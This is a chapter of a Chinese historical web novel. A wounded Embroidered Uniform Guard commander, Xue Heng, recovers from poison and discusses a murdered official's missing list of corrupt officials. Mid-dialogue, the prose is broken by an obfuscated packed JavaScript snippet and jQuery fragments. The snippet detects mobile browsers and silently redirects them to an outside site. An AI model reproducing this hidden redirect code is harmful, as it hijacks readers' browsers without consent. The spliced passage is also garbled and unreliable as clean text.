15. 苏醒

作品:《救了一个锦衣卫

    模糊的身影在赤红的火舌中越走越远,记忆中的他不断地拍打着被熊熊烈火裹挟的屋门,却再也没看到那一抹青色的倩影。


    你为什么不早点来!


    你为什么不救她!


    男人的手臂如铁铸般将他禁锢,任他踢打撕扯也不松动半分,能看见的只有一片废墟中余火在噼啪作响,风在焦土中低泣、呜咽……


    薛珩的眼角沁出了一滴泪。


    “薛珩!薛珩!”


    有人在用力地拍打他的脸。


    碧色的身影在他面前晃荡,晕晕乎乎中他竟又落下泪来,恍惚间他伸手去抓那柳枝般的绿,呢喃了一句:“娘……”


    一股焦糊味瞬间涌上喉头,薛珩猛地弯下腰呕出了一大口血。


    他睁开眼,看见的是少女挂着担忧神色的脸。


    “你听见什么了吗?”


    少年面无表情。


    陈湘行莫名道:“听见什么?”


    “没事。”他垂下眼眸。


    “你小子可真是福大命大,今日要不是我师傅在这儿,这群人剑口上抹的毒估计日积月累能要了你的小命!”陈湘行端来药汤放到他面前,“现在好啦,虽然说师傅他现下能解毒的药方还缺了几味,但这药汤能缓解你身体里的毒性,延缓发作,等到时候你回了金陵,凭你的本事找到剩下的药材也不是什么难事。”


    她笑眯眯道:“不过这几日你还真只能安心养伤了,不要乱跑,更不要用内力。”


    薛珩下意识地去摸自己的伤口,却发现身上的衣袍全都被换了一遍。


    “你身上原来那件贵的要死的衣服上全是血,怎么洗都洗不干净,算是废了。”


    陈湘行看他不知道想到了些什么,苍白的脸上浮起一层薄红,原本想逗逗他,但想到眼前人还是个病人,最后还是大发慈悲地放过了他:“放心好了,你身上的衣服都是我师傅帮忙换的,我可对你没兴趣。”


    薛珩嗤笑了一下撇过头,四周明显是砖盖的瓦房,透过竹窗还能看见远处在雨中昏黄的义庄。


    他正望着雨帘出神,耳边突然传来少女似溪水般清灵的声音:“薛珩,他们为什么要追杀你啊?”


    哟,胆子倒是变大了,现在都敢直呼他的名字了。


    薛珩歪靠在安置他的床榻上,却没有回答她的问题,而是反问道:“义庄的火是怎么扑灭的?”


    “你不能先回答我的问题么?刚刚在里面的时候可是我豁出性命回去救你的,不然啊!我看你小命早不保了!”


    陈湘行恨不得戳上他的额头让他用脑子好好想想,但想到他的身份还是悻悻放下了自己的手。


    薛珩慢吞吞地坐起身:“还记得我和你说来东平县的第二件事么?”


    陈湘行点点头:“你说是为了查明白十五年前悼献太子谋反案的真相。”


    这个她还记得。


    “这个世上总归有些人觉得自己过往犯下的罪行会随着人的消亡而归如尘土,最后再无人发觉。”薛珩难得没了笑容,“若是他发现有人意欲将一件尘封已久的往事重新翻出来,甚至想要揭穿他的罪行,自然会想方设法杀人灭口。”


    惨白的电光乍然间劈开天幕,泥地中腾起腥湿的雾气,暴雨倾泻而下,噼啪作响地打落在这世间,几乎都要射穿在风中飘摇的纸幡。


    屋外突然传来了孩童的哭声,让陈湘行把压在喉咙里的疑惑又收了回去。


    她原本是想问问薛珩,他要查的真相里面,包不包括她外祖罗慎和一家被抄家灭族的惨案。


    只是陈湘行又想了想,在没有彻底弄清楚这位锦衣卫指挥使是个什么样的人前,还是不要轻易把自己的底牌透露出来给别人比较好,因此她只是安静地坐在原地,不发一问。


    “你现在呆着着这间屋子的主人是义庄守尸人住的,刚刚火势大起来的时候也是他提了好几桶水过来扑灭的。”陈湘行又把话题转了回去,“还真是多亏了他在,要不然的话,周大人的尸体估计就得遭殃了。”


    薛珩盯着她看了半晌,懒懒地往后一靠:“看来咱们也算是福大命大。”


    “只是这世上竟有这么巧的事情,咱们刚从刺客手底下逃出来,就恰好撞上你师傅三更半夜在这个鸟不拉屎的地方,又恰好能缓解我身上的毒?”


    他是一点都没遮掩,话里话外都在怀疑章见青出现的蹊跷。


    对于这一点,刚刚陈湘行也问了师傅:“他也不是平白无故半夜来这里的,就我跟你说的那个守尸人,他膝下有个两岁大的孩子,每逢夜间总有哭闹的毛病,师傅基本上都是晚上来给他看病的,所以才撞到了我们。”


    “夜哭郎?”


    陈湘行点点头又摇摇头:“小儿夜里哭闹的原因多着呢,诸如肠绞痛之类的病症我师傅肯定也见过不少,他说这孩子的病是祖上遗传下来的,孩童时期只是夜哭,等到长大后恐怕会导致身体病弱早逝,症状重些还容易患离魂症。”


    “我有个……朋友,小的时候也爱夜哭,不过他年纪稍长一点就没有了。”


    薛珩垂眸,脑海中不禁闪过幼年时的几个画面。


    窗外孩童的哭声一声比一声高,陈湘行都忍不住探头出去看。


    庭院内守尸人徐阿福费了好大力气捉不住那小孩胡乱晃动的手,章见青在边上手里的针都等的快锈掉了,一气之下干脆趁他不注意一把扯住他的手,针瞬间戳了进去。


    那孩子哭得更大声了。


    陈湘行一回头,就见薛珩突然站起身:“你怎么起来了?”


    “周既明的尸体送到这里来,旁人可能不知道,但义庄的守尸人定然是知道的。”薛珩淡淡道,“我想去找他问问,当日被送来的除了周既明的尸体外可否还有别的东西。”


    “还会有什么东西吗?”陈湘行不耻下问。


    “周既明给圣上的上书里面明确提到了此次春闱舞弊以及参与其中的官员名单,里面有不少官员都是乐成侯手底下的走狗,所以余信厚才会杯火急火燎地派到东平县来。”


    “只是解隐舟和余信厚都在周府打了不知道多久机锋了还没下文,我猜这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684357|173016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    东西肯定不在周府里面。”薛珩瞟了一眼陈湘行,“你觉得呢?”


    周府估计就差被掘地三尺了,陈湘行听到“乐成侯”三个字心神一动,回头透过后面的窗户望着义庄:“可我觉得……这份东西也不一定会放在义庄里面。”


    薛珩诧异地看她:“何出此言?”


    “我这也只是猜测,你听听就好。”陈湘行给自己描补了一下后沉吟道,“若是我们当日没有打开棺材,谁会知道周府的棺椁是空的?周大人既然想把舞弊名单送到圣上手中,就不会故意设置这么多乱七八糟的限制。”


    “我更倾向于周大人的尸身是由周姑娘伙同他人一起送出来的,目的是什么暂且我们也不知道,但你说的名单,应该是周大人生前就已经吩咐过的,还不如从他身边的亲信开始着手。”


    “周既明身边的亲信估计早就被余信厚抓起来审问过一遍了,到如今也没见他有什么动静,应该也什么都没问出来。”


    兴武卫动起刑来可不真不一定比他们锦衣卫差,若是靠逼供就能得到答案的话,余信厚也不会在周府徘徊这么久了。


    陈湘行踌躇了一下:“但是有一个人,他们不一定会去严刑拷问。”


    “谁?”


    “周姑娘。”


    周嘉言身为周既明的独女按照道理来说确实是最有可能藏匿名单的人,余信厚也没那么蠢,他虽然不能直接对周嘉言下重刑,但是他一到东平县,第一件事情就是把周嘉言的过往经历翻了个底朝天。


    但是很可惜,根据他手底下的人查到的消息来看,周嘉言就是个再正常不过的闺秀,除了身子骨有些羸弱,周既明早年间曾给她找过武学师傅强身健体外,就再没别的出格的事情了。


    而她出府后常去的地方基本上就是一些卖钗环首饰、布匹成衣的地方,最多不过去茶馆里听听说书或者点几个戏班子回周府听戏。


    一个妇道人家,就算是独女,余信厚也没有太把她放在心上,所以他不明白为什么解渊对周嘉言那么关注,只以为是年轻男女之间那些不明所以的情愫在作祟。


    午后暑气正浓,周嘉言却没有在屋子里面躲凉,而是坐在葡萄架子下面望着远处游来游去的几尾红鲤。


    小池边上有蔫掉了的几株芍药落进水中,鱼儿还以为是鱼饵一窝蜂地钻了过去。


    “微月说你找我?”


    白衣青年不知何时出现在庭院中,他缓步走来还未站定,就听见眼前的女子抬眸轻笑:“我身上向来病痛多,昨日和余大人说让他去帮我请大夫,他偏偏以家父的案子还没有了结为由拒了我,我是想问问解大人,家父的验尸状纸都已经交上去了,为何迟迟不结案?”


    解渊迟疑了一下,面带歉意道:“周姑娘,兴武卫那边……”


    周嘉言低眉笑笑:“解大人何必以兴武卫作推辞,您是首辅之子,难道您要结案,余大人还会在这件事上与你为难吗?”


    “解首辅一生清正,朝野敬仰。您身为他的公子,想必亦该是个不惧权势、明镜高悬的好官吧?”